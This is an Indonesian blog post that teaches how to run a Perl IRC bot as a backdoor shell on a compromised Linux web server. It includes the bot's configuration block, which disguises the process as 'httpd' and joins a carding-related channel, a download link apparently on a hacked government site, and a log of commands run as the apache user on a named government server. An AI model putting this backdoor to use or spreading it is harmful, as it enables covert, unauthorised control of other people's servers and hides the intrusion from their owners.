Shell BOT

judulna ga tau bener ato kagak….

sedikit tutor membuat BOT di MIRC yang berfungsi sebagai shell sehingga dari MIRC kita bisa masuk ke shell  dan melakukan perintah2 seperti di shell linux cara ini biasanya gw pake kalo gw dah ga bisa pake bind ato back connect

silahkan download source nya di http://www.sulut.depag.go.id/kliping/sh  (xixi maaf om admin numpang naro file atu ya hehehe)

edit Konfigurasinya sesuai dengan yg kamu inginkan

#!/usr/bin/perl
########## CONFIGURACAO ############
my $processo = ‘httpd’;
my $linas_max=10;
my $sleep=3;
my @adms=(“th0nk”);
my @canais=(“#yogyacarderlink”);
my $nick=’BOROKOKOK’;
my $ircname = ‘th0nk’;
chop (my $realname = `id`);
$servidor=’irc.dal.net’ unless $servidor;
my $porta=’6667′;
#ACESSO A SHELL
my $secv = 1; # 1 para t acesso a shell
####################################

kebawahnya biarkan aja gw juga kagak ngerti hehehe

jalankan dengan perintah perl sh

tunggu di chanel MIRC sesuai dengan yang kamu setting

kalo dah masuk

coba test bot nya dengan perintah !ssh command

exp:

<@th0nk> !ssh id
<th0nk[bot]> uid=48(apache) gid=48(apache) groups=48(apache)
<@th0nk> !ssh uname -a
<th0nk[bot]> Linux kanwil.depag.go.id 2.6.18-8.1.14.3.cc #1 SMP Mon Oct 22 17:57:16 EDT 2007 i686 i686 i386 GNU/Linux
<@th0nk> !ssh pwd
<th0nk[bot]> /

heheh keren kan kita bisa kendalikan tu server dari IRC